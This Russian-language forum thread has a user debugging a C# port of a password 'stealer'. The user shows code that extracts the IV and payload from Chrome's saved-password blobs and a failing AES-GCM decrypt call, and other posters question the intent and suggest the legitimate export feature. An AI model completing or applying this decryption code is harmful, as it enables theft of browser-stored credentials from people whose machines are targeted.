Расшифровка ключа c#

Здравствуйте, есть стилер на питоне, все работает отлично, расшифровывает ключи. Теперь решил написать стиллер на c#, написал все расшифровывается правильно, мастер ключ расшифровывается правильно, сверял с тем, что расшифровал питон, все точ в точ тепрь для расшифровки пароля мне нужно получить определенные значения: iv, playload код:

byte[] iv = bytePassword.Skip(3).Take(12).ToArray();
byte[] payload = bytePassword.Skip(15).ToArray();

Они тоже верны с тем, что расшифровал питон

И теперь как бы пароль должен быть получен:

string decryptedPassword = Encoding.Default.GetString(Sodium.SecretAeadAes.Decrypt(payload, iv, masterKeyBytes));

Но он вызывает исключение:

System.Runtime.InteropServices.SEHException: "Внешний компонент создал исключение."

System.Runtime.InteropServices.SEHException
HResult=0x80004005
Сообщение = Внешний компонент создал исключение.
Источник = <Не удается определить источник исключения>
Трассировка стека:
<Не удается определить трассировку стека исключения>

в DynamicDllInvokeType.crypto_aead_aes256gcm_decrypt(IntPtr , Int64& , Byte[] , Byte[] , Int64 , Byte[] , Int64 , Byte[] , Byte[] )
в Sodium.SecretAeadAes.Decrypt(Byte[] cipher, Byte[] nonce, Byte[] key, Byte[] additionalData)
в ConsoleApp2.Crypt.decryptChrome(String password, String browser) в E:\GAMES\Visual Studio 2019 Community\MyProject\ConsoleApp2\ConsoleApp2\Crypt.cs:строка 79
в ConsoleApp2.Passwords.get() в E:\GAMES\Visual Studio 2019 Community\MyProject\ConsoleApp2\ConsoleApp2\Passwords.cs:строка 86
в ConsoleApp2.Program.Main(String[] args) в E:\GAMES\Visual Studio 2019 Community\MyProject\ConsoleApp2\ConsoleApp2\Program.cs:строка 13

Хотя у меня получаеться в питоновском стилаке ключ: љeч$п°jё!€Г/є+aЕг:лъ,Я`

А вот со c#: �e�$�j�!��/�+a��:��,�` Есть ли отличие?

Так все-таки не менеджер паролей пишете?))

Мы-то откуда может знать? Нам не с чем сравнить код.
А результат сравнивать надо в виде байт в хекс-редакторе и т.п., а не строки.

а как сравнить. Если там со c# и python

А как сравнить если ключ у меня на питоне расшифровывает модуль. А на c# ключ расшифровывает в ручную

Beyond Compare в помощь
изображение

Я уже со всем разобрался. Все идет отлично все расшифровки python=расшифровкам c#. Только как теперь можно расшифровать сам пароль? У меня есть суффиксы обрезаные от зашифрованного пароля:

byte[] iv = bytePassword.Skip(3).Take(12).ToArray(); 
byte[] payload = bytePassword.Skip(15).ToArray();

Так же расшифрованный мастер ключ. Но как теперь все это свзать и расшифровать? Такая схема и в python стилере

До этого я подключал библиотеки sodium. И строка расшифровки выглядела бы вот так:

string decryptedPassword = Encoding.Default.GetString(Sodium.SecretAeadAes.Decrypt(payload, iv, masterKeyBytes));

Но она не работает, вызывает исключение.

Вы откуда и зачем стилите-то?

Скорее всего это всё вообще не надо делать потому что

  • Если вы пытаетесь сделать что-то вредоносное, то лучше заняться чем-то более полезным для общества пока не посадили :kolobokpolice:
  • Если вы таки и правда пишете менеджер паролей, то не надо делать такие стремные вещи в нем, воровать плохо, используйте экспорт. Например, так в Хроме: https://bitwarden.com/help/article/import-from-chrome/ У Firefox почему-то нет такой фичи, но есть например https://github.com/kspearrin/ff-password-exporter

я для примера взял как работает AES шифровка. Просто хром попался первым, раз он это юзает))

https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesmanaged